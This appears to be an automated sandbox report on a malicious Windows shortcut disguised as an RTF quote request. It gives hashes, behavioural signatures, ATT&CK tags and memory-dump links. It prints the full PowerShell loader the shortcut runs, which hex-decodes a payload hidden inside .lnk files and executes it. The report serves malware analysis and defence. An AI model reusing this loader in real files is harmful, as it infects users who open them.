4ba81036ae68eb0b4e5e5528e1109e39d9f94684de3903eb714009293a4a750c

Analysis

max time kernel
119s
max time network
141s
platform
windows7_x64
resource
win7-en-20210920
submitted
14-10-2021 12:17

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General

Target

2145RFQ14102021.rtf.lnk
Size

5.4MB
MD5

85e44c6e99f5f4043fc2c993b6fa633b
SHA1

21b3e0a10dd9798ef71fe073cdad7cfdadbfdeae
SHA256

62fab79e945bc629c110f21c9db37c8c0cc441ad15e73c1c1349fbef986b3789
SHA512

7c2f7183d40ac7bab91fa1a572c625e38e8f7ec848d54b7a937b6a33acc5868df3af72ae3a6187e8720303ff7aa7d00e7895ff77adfd504d8b394dacb34d30ff

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1880 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1880 powershell.exe

pid	process
1880	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1880	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 1480 wrote to memory of 1880	1480	cmd.exe	powershell.exe
PID 1480 wrote to memory of 1880	1480	cmd.exe	powershell.exe
PID 1480 wrote to memory of 1880	1480	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\2145RFQ14102021.rtf.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1480

C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function mT($gL) {$mW = $Null;Get-ChildItem $gL -Recurse -Depth 1 -ErrorAction 'SilentlyContinue' | ? {$_.extension -eq '.lnk'} | % {$yq = [String](Get-Content $_.FullName);$pH = 'VXJKUHSCSOQOTVAQOTOSEHMTYRYGQZIM';$lG = $yq.IndexOf($pH);if($lG -ne -1) {$Gc = $yq.SubString($lG);$mW = $Gc.Replace($pH,'')}};return $mW};function P($z) {$G = [Text.StringBuilder]::New();for($UzG=0;$UzG -lt $z.Length;$UzG+=2){[void]$G.Append([char][int]('0x'+$z.Substring($UzG,2)))}return $G.ToString()}$mW = mT $(Get-Location).Path;if($mW -eq $Null) {$mW = mT $($env:TEMP)};$wb = [ScriptBlock]::Create((P $mW));$wb.Invoke();
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1880

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1480-54-0x000007FEFB711000-0x000007FEFB713000-memory.dmp

Filesize
8KB

Download
memory/1880-55-0x0000000000000000-mapping.dmp

Download
memory/1880-57-0x000007FEF2170000-0x000007FEF2CCD000-memory.dmp

Filesize
11.4MB

Download
memory/1880-61-0x0000000002554000-0x0000000002557000-memory.dmp

Filesize
12KB

Download
memory/1880-60-0x0000000002552000-0x0000000002554000-memory.dmp

Filesize
8KB

Download
memory/1880-59-0x0000000002550000-0x0000000002552000-memory.dmp

Filesize
8KB

Download
memory/1880-58-0x000000001B700000-0x000000001B9FF000-memory.dmp

Filesize
3.0MB

Download
memory/1880-62-0x000000000255B000-0x000000000257A000-memory.dmp

Filesize
124KB

Download
memory/1880-63-0x000000000257E000-0x000000000257F000-memory.dmp

Filesize
4KB

Download